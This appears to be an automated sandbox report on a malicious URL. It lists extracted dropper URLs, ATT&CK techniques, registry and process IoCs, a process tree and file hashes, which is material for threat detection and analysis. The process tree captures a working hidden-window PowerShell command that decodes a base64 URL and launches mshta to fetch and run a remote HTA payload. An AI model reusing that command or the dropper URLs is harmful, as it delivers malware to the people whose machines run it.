hxxp://93[.]105[.]205[.]92[.]host[.]secureserver[.]net

Resubmissions

27/07/2026, 14:47

260727-r5vcdagm3s3

27/07/2026, 14:29

260727-rtms6avwat10

Analysis

user interaction
yes
max time kernel
103s
max time network
104s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/07/2026, 14:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://93.105.205.92.host.secureserver.net
Sample260727-rtms6avwat

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://brts.grupovtgs.pics/

Extracted

Language

Source

URLs

hta.dropper
https://brts.grupovtgs.pics/1a910ded-46a5-4259-982c-1c513daf944f/a52b0754-dfe7-4f16-b537-4b7b3137949f

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1600	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4684	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134296361870350269"	chrome.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings	chrome.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe
Token: SeShutdownPrivilege	756	chrome.exe
Token: SeCreatePagefilePrivilege	756	chrome.exe

Suspicious use of FindShellTrayWindow 48 IoCs

pid	Process
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe
756	chrome.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 756 wrote to memory of 3792	756	chrome.exe	85
PID 756 wrote to memory of 3168	756	chrome.exe	86
PID 756 wrote to memory of 3168	756	chrome.exe	86
PID 756 wrote to memory of 4684	756	chrome.exe	87
PID 756 wrote to memory of 2792	756	chrome.exe	89
PID 756 wrote to memory of 2792	756	chrome.exe	89
PID 756 wrote to memory of 4208	756	chrome.exe	90
PID 756 wrote to memory of 4208	756	chrome.exe	90
PID 756 wrote to memory of 4276	756	chrome.exe	91
PID 756 wrote to memory of 4276	756	chrome.exe	91
PID 756 wrote to memory of 4740	756	chrome.exe	92
PID 756 wrote to memory of 4740	756	chrome.exe	92
PID 756 wrote to memory of 784	756	chrome.exe	93
PID 756 wrote to memory of 784	756	chrome.exe	93
PID 756 wrote to memory of 4364	756	chrome.exe	95
PID 756 wrote to memory of 4172	756	chrome.exe	99
PID 756 wrote to memory of 2388	756	chrome.exe	100
PID 756 wrote to memory of 1928	756	chrome.exe	101
PID 756 wrote to memory of 1600	756	chrome.exe	102
PID 756 wrote to memory of 3772	756	chrome.exe	110
PID 1600 wrote to memory of 2088	1600	powershell.exe	114

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://93.105.205.92.host.secureserver.net
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:756
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd8,0x104,0x7ffbf9e2c728,0x7ffbf9e2c734,0x7ffbf9e2c740
  2⤵
  PID:3792
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1720,i,15329248345771600999,4299611659922184841,262144 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1924 /prefetch:2
  2⤵
  PID:3168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,11576659090257299659,17807505387418400050,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2240 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4684
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2380,i,17445726634368212738,16965909189395640232,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2540 /prefetch:8
  2⤵
  PID:2792
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3028,i,1122133106265077669,8257800448117906526,2097152 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3140 /prefetch:1
  2⤵
  PID:4208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3040,i,7485916949526807617,4400520752632062941,2097152 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3188 /prefetch:1
  2⤵
  PID:4276
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4368,i,1532436890456852305,6202399918936895684,2097152 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4408 /prefetch:2
  2⤵
  PID:4740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4684,i,1813378355232925864,16308600115789359761,2097152 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4696 /prefetch:1
  2⤵
  PID:784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5876,i,227294316693534431,655391678378214295,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5880 /prefetch:8
  2⤵
  PID:4364
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4952,i,10678961333002076774,1518880768940054613,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6040 /prefetch:8
  2⤵
  PID:4172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5284,i,1570842728775641676,1465084924851283217,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5888 /prefetch:8
  2⤵
  PID:2388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6044,i,4244462384608495517,15288950382935725727,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4892 /prefetch:8
  2⤵
  PID:1928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6044,i,4103130140827898396,9941021098715549192,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3544 /prefetch:8
  2⤵
  PID:1600
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4392,i,3191133065728431823,14025442002452232382,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4412 /prefetch:8
  2⤵
  PID:3772

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2420

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2160

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$Mius=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9icnRzLmdydXBvdnRncy5waWNzLw=='));$Beos=$Mius+'1a910ded-46a5-4259-982c-1c513daf944f/'+'a52b0754-dfe7-4f16-b537-4b7b3137949f';$Peis=New-Object System.Diagnostics.ProcessStartInfo;$Peis.FileName=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('QzpcV2luZG93c1xTeXN0ZW0zMlxtc2h0YS5leGU='));$Peis.Arguments=$Beos;[System.Diagnostics.Process]::Start($Peis)|Out-Null"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://brts.grupovtgs.pics/1a910ded-46a5-4259-982c-1c513daf944f/a52b0754-dfe7-4f16-b537-4b7b3137949f
  2⤵
  PID:2088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 48296c15134b86e7364eb48c6a04ba2dab5cedfd40cfa11dcf5f1be6d1498860
MD5 02f817a4af479a92876b3fe9076d5f71
SHA1 87ed76463b5b33ac3a9daf61effbe0b380c78064
SHA512 7931d1c5c9910b5aa49bf52011a9df0730b8fb6d1bb161fa8220987268a7f380e0c305b9bf3c54bd1d14bff2eac86c6a6c691875c3652f60024611fa2d8e0f4c
TLSH
T153E02B7AC921AC3709FD071850550689E750135F2E815A4F363D611DCFB072A42C6CAC
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 144B
SHA256 45de78e04b261db102d9a813213d4143086de8c60030aaa9f285fcc6c4f5f6d1
MD5 71fb7bc851bed7f9c87cce5f5a5dbd56
SHA1 c105f5eb9da65625c0cc3717bc87ad6161749714
SHA512 64095bfbb46b602477dbec6bf8e2e57847ff70ba372dc19fd829471cb46d537fe7df3c170740a08fabd87bb297b881e26892d87020775e11b92df97abe6dbc80
TLSH
T134C09201A0D351B5E7314731BCB7634026332E744A126F9BA1DC08B79EA1BA0C62244D
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 f470ccc6746923aba8ff31aac79d951865024d9551d47699eccb5ee6dbf0dd82
MD5 dbfba38db308c88d47ca2a189b99356c
SHA1 d9ba2f7f2036e3afe90d9af516c31f030e57576d
SHA512 2b0cc55c3bfc59a34d9e9e8e9208b74bfa2050cc52df14263388330afd147fb932444a6d1ac02fe8a6b4af69eb7b48ab3a86adb4df2ab3e13f589ea51d7e2f07
TLSH
T153614EF783F499BE8A1192F4AB152E1FCD590918132C38678DE46E1B97E3871D20465F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 ee0a158448d3968991530ca5889e837a1533450cf4f73083f7ad898fac0f9047
MD5 94c850c69c8b12800f724b533354bb61
SHA1 7ecde31f473eb58192fe77fa5c5456746b463493
SHA512 a04586058f5b1586d6931a78425175eeab672349e072fff74625b95fb294a6bdfc55ef9900498fc08239882e2e2cd73a38f0c8d55ff4e8a147e1499e45560505
SSDEEP 192:KRBvBowT8QnXDRv7spAPRp22TMc9wHsb+WNnbSDT1NC2GlckwRCVyIsnAUge:KRBvGwT8yDBYUX/BKwuDTK2ecke
TLSH
T11942C73EF915683B5CCAD22AFD227B57D7F5202162D02E94E6FC8A2C15D79CC222741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 fa19678cd810a48f5e3573fa2926db854ba688d9f726023f6df777a2f5c5cd77
MD5 f17c10471101a6dd2fdf0413606dc57f
SHA1 5a7aa8ba861bbec88beb74f996651789adb5d16a
SHA512 77b17efc7c0bb72e914349164e5054154ea27333b5e86fed2933b9295c0496b6482c5f9985f5ae185d398de78fa1f27e5d98cf18f2c80206fe8320db52c1549d
SSDEEP 192:KRB/BowT8QnXDQv7spzPRpP2TMT9wHsb+WNnbSDT1KUeMlckwRLVyIsnAUgE:KRB/GwT8yDMYFXOmKwuDTlescHE
TLSH
T1EE52C83EF915683B5CCAD229F9227B57D7F5202162902E54E6FC8E2C15D79CC232701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 5ce144bb691f9c1ece838c533965160f36ef76241846a641ad23a949a61e5aa3
MD5 8ab4ecd63b62cdcec306952a3fe51e27
SHA1 f92ea39f77a5903c260a9cbafc84929af53cc1c6
SHA512 1c5fdaedb070ccfc2ca386dca396ff941bd2074f98045405774fa092b18bcee3a2bc8a42c5b150a957f3c8e914c42e77a125d70f2764dc7d475eda092c4fe58f
SSDEEP 192:KRBCBowT8QnXDGv7spzPRpP2TMT9wHsb+WNnbSDT1VuZ0YXylckwRLVyIsnAUgE:KRBCGwT8yDyYFXOmKwuDTFYicHE
TLSH
T1D652D83EF915693B5CCAD229F9227B57E7F5202162902E54E6FC8E2C15D79CC232701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 a400e796c3b54c61b8439177799797c4a1bc2ade5f38bbfc6fd59fd0e1d8b4a3
MD5 d7ccfaccca72a160858c008994f97f0c
SHA1 517e85d076575794c7ab964a306be815518fff70
SHA512 7771f78e901cf3f9648b726b69ad81fe5094f3d58cfe1a17aa8b208225ea8039052fd850510bc6b2de99061fe0cf402be18ba9e92a70da1f5c42a033e90218b7
SSDEEP 192:KRB/BowT8QnXDcv7spAPRp22TMT9wHsb+WNnbSDT1NC26lckwRJVyIsnAUgE:KRB/GwT8yDIYUX/mKwuDTK2KcpE
TLSH
T10F42B73EF915683B5CCAD229F9227B57E7F5202162C02E94E6FC8E2C15D79CC222741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 379d96542283773f422c052abe7293924621df1604b63c9a59676e1514d2db6c
MD5 d066f854d368cbebca026e5da297c2c3
SHA1 4f2f84d54b0a8dfd273bbdb70bcde51ad5e2f12f
SHA512 613285c6b38983d33fb336394c5eff7edb692f60dfa433defdbf45524dd1c84cadfc8cba744a39b1c75482b318f7db6eaaae9842cfa8649a9ad00cece8442e41
SSDEEP 384:gCjUH7KxkXqKf/pUZNCgVLH2HfgslsZ7pLuLcSjCDXODUr+ErU3/NHGcmyqOqjmo:gCUH7KxkXqKf/pUZNCgVLH2Hfgs+Z7pF
TLSH
T15A7209676C4C9E370F94C6CCD8267F4F9DB5024B65E9886483FA9C2903D5ACB114A2EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 6314d679718c8538db8c1a879b457925c100f4f43887427f3aa0f7c90989a79b
MD5 f0e4f94b85360adb1125539b45941208
SHA1 4179e5f75df800b66512fee1381008e37ec797a3
SHA512 31dbe31328fea82142024ba7ce93b704528920a34622139d16d29db7fe8b44efa0c09a6273895ab3f3785e7fcd9d7ecb49f238295ef5a24def067baa520c930c
TLSH
T19BB01200C0035111C49202F0158224C8B1649F30D60F170643E06922C82917188140D1
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5847a3.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5847a3.TMP
Size 96B
SHA256 bb67da78c3ffc71cecc9e16062c3846ce79ad15bc8938bdaa6545b5b614b5e9e
MD5 2dd4641db25477f271e9300282fd8a48
SHA1 bb070c032d7da84d726d01a58fa434f4df3484b2
SHA512 2b50d8b01cbb7e8eb86c14a1f567f449c7aedaf82adab820b65aa604ceda151a04e4b4494bf7ae1ba777463517079cbe718076fb7e48d7ef9c2b3231d4bb68f3
TLSH
T1BCB02200C3032202F00A03B8288082C8B0E8CF20C2032302C2E00A2BCC2323000A8028
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\3\IndexedDB\indexeddb.leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 456494436d3b5930e15b7f25c8525185ed8fcb2e9f981630d4d73913e3c2e1fc
MD5 4046bbeaec23505035822afd6d0b0aa3
SHA1 918e5e259e497cba1436ab7f9035fa582f4d10a6
SHA512 2424d0969326e2e8040266541ad4995dc9efbbf4740167782501ae81f02e6e65dc9d3ef420e0f53bf4f4d6f8b2b89a1082bb1b6e2c19406d8c8cdcfc816b9710
SSDEEP 3072:hGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMK:wm7Rkm1tYpBeh2BAoK
TLSH
T19AC3123B5D65F83759B5BB5EB08E0A1F1EF149A7D920DE52C8D85B0433EA7CC0A05A34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

